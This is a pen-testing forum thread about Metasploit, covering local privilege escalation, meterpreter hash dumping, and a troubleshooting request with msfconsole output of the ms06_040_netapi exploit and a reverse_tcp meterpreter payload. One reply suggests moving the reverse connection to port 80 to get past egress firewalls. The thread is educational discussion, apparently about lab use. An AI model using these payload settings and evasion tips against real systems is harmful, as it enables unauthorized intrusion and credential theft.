Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 42 guests online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow Metasploit Question
EH-Net
May 19, 2013, 09:36:40 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Metasploit Question  (Read 14973 times)
0 Members and 1 Guest are viewing this topic.
SynJunkie
Jr. Member
**
Offline Offline

Posts: 71


View Profile WWW
« on: November 13, 2008, 05:44:48 PM »

Hi guys, I have a question regarding Metasploit. 

I'm happy with the process for running Metasploit against a remote host and with using the msfpayload function of Metasploit but...

Is it possible to create an executable using Metasploit that will exploit a vulnerabilty on the local machine that is running in the context of a restricted user to raise the priviledges of the user or execute any other payload that is specified such as create an Administrative Account or install a VNC server and connect back to another host?

Maybe i have missed something, but to run a payload that was created with msfpayload it seems to asume that the user/victim already has administrative rights on the target PC.
Logged

----------------------------------
http://synjunkie.blogspot.com
LSOChris
Guest
« Reply #1 on: November 14, 2008, 03:56:23 PM »

Hi guys, I have a question regarding Metasploit. 

I'm happy with the process for running Metasploit against a remote host and with using the msfpayload function of Metasploit but...

Is it possible to create an executable using Metasploit that will exploit a vulnerabilty on the local machine that is running in the context of a restricted user to raise the priviledges of the user or execute any other payload that is specified such as create an Administrative Account or install a VNC server and connect back to another host?
no, metasploit doesnt have local exploits

Quote
Maybe i have missed something, but to run a payload that was created with msfpayload it seems to asume that the user/victim already has administrative rights on the target PC.

you can send a reverse shell out running as a regular user but you'll only get a shell with that user's privs.
Logged
pseud0
Recruiters
Full Member
*
Offline Offline

Posts: 208



View Profile
« Reply #2 on: November 14, 2008, 04:16:03 PM »

You're referring to privilege escalation on a machine that you already have some level of access to?  There are a lot of tools you can use for that, but metasploit sure wouldn't be my first choice.  They plan to built it out in the future to do this via the meterpreter tool, but it still doesn't seem to be the best option.  Hell, you could just pick the relevant exploit out of:

http://www.milw0rm.com/local.php
Logged

CISSP, CISM, CISA, GCIH, GREM, CEH, HMFIC, KTHXBIROFLCOPTER
SynJunkie
Jr. Member
**
Offline Offline

Posts: 71


View Profile WWW
« Reply #3 on: November 14, 2008, 06:33:55 PM »

Thanks.  I was hoping I could do something with MetaSploit but maybe i'll wait for  that.

Cheers

Syn
Logged

----------------------------------
http://synjunkie.blogspot.com
ethicalhack3r
Full Member
***
Offline Offline

Posts: 139


View Profile WWW
« Reply #4 on: November 28, 2008, 10:32:13 AM »

You can use Metasploit's meterpreter payload to either drop the machines NTLM hashes then crack them or upload a local exploit and execute it.

I posted about meterpreter recently on my personal blog.

http://www.ethicalhack3r.co.uk
Logged
finalversion_2k
Newbie
*
Offline Offline

Posts: 1


View Profile
« Reply #5 on: January 18, 2010, 04:04:40 AM »

guyzz i need ur help in metasploit i'm new ... i set these configuration exploit was completed but session was not created :'(so can u tell me where i was wrong... can any one help me.. Huh Thanx in advance...
Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.2      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.1.11     yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)


msf exploit(ms06_040_netapi) > exploit

  • Started reverse handler on port 4444
  • Detected a Windows XP SP0/SP1 target
  • Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.2[\BROWSER] ...
  • Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.2[\BROWSER] ...
  • Building the stub data...
  • Calling the vulnerable function...
  • Exploit completed, but no session was created.
Logged
bamed
Newbie
*
Offline Offline

Posts: 48


View Profile WWW
« Reply #6 on: January 18, 2010, 07:04:48 AM »

There's nothing necessarily wrong with your settings, assuming of course that you have the IPs and ports right, but those are specific to your environment, and only you can know those.
What you're looking at here basically is that your exploit failed.  This could be because the system isn't vulnerable to the exploit you're trying.  It also could be a firewall getting in the way.  It's possible the remote system has a firewall that's preventing your payload from connecting back to your station.
I'm assuming your in an environment where you have access to the system your exploiting, so check to see if there's a firewall running, or any other software that might be protecting the system.  Also make sure you're not running a firewall on the local machine.
I'd also double check the exploit your using.  Research it and find out what it's exploiting. Also was there a patch to fix the vulnerability?  If so (and there probably is), has the patch been applied to the system?
BTW, if the problem is firewal/security software related, you might try a different payload, or a different port.  For example, there may be a firewall that only allows outgoing traffic on certain ports.  Outgoing port 4444 is probably blocked in this circumstance.  If the firewall is blocking based on port, then use a port that wouldn't be blocked, like port 80.  Just make sure you aren't running a local web server so port 80 is free.
So to recap:
1. Make sure the system is vulnerable and not patched. (FYI, details on the vulnerability can be found at: http://www.microsoft.com/technet/security/Bulletin/ms06-040.mspx )
2. Check for firewall on the remote system (on the local system too for that matter)
3. Try a common port that isn't likely to be blocked
4.  One more thing, if you really want to see what's happening

Hope this helps.
Logged

chown -R bamed ./base
d3l0n
Jr. Member
**
Offline Offline

Posts: 59


View Profile
« Reply #7 on: January 18, 2010, 08:26:20 PM »

You can use Metasploit's meterpreter payload to either drop the machines NTLM hashes then crack them or upload a local exploit and execute it.

I posted about meterpreter recently on my personal blog.

http://www.ethicalhack3r.co.uk

Dumping the hash will not work because it requires administrator rights.
Logged
jonas
Newbie
*
Offline Offline

Posts: 46


View Profile
« Reply #8 on: January 20, 2010, 02:52:32 PM »

I think maybe you're wrong about that.  If i remember correctly i dumped the hash with meterpreters hashdump only having usr privs.
That was after i was unsuccessful with pwdump through cmd shell.
Logged
d3l0n
Jr. Member
**
Offline Offline

Posts: 59


View Profile
« Reply #9 on: January 22, 2010, 02:27:48 PM »

jonas, unless you managed to run it as a scheduled task which runs with system privileges  you won't be able to dump the hash.
Logged
timmedin
Sr. Member
****
Offline Offline

Posts: 469



View Profile WWW
« Reply #10 on: January 31, 2010, 08:52:21 PM »

jonas, unless you managed to run it as a scheduled task which runs with system privileges  you won't be able to dump the hash.

d3l0n is right, you have to have admin or system level privileges in order to dump the hashes.
Logged

twitter.com/timmedin | http://blog.securitywhole.com
jonas
Newbie
*
Offline Offline

Posts: 46


View Profile
« Reply #11 on: February 02, 2010, 03:17:40 PM »

Obviously didnt remember correctly.... hehe.
Well, local exploits and its all solved anyways i guess =)
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.085 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.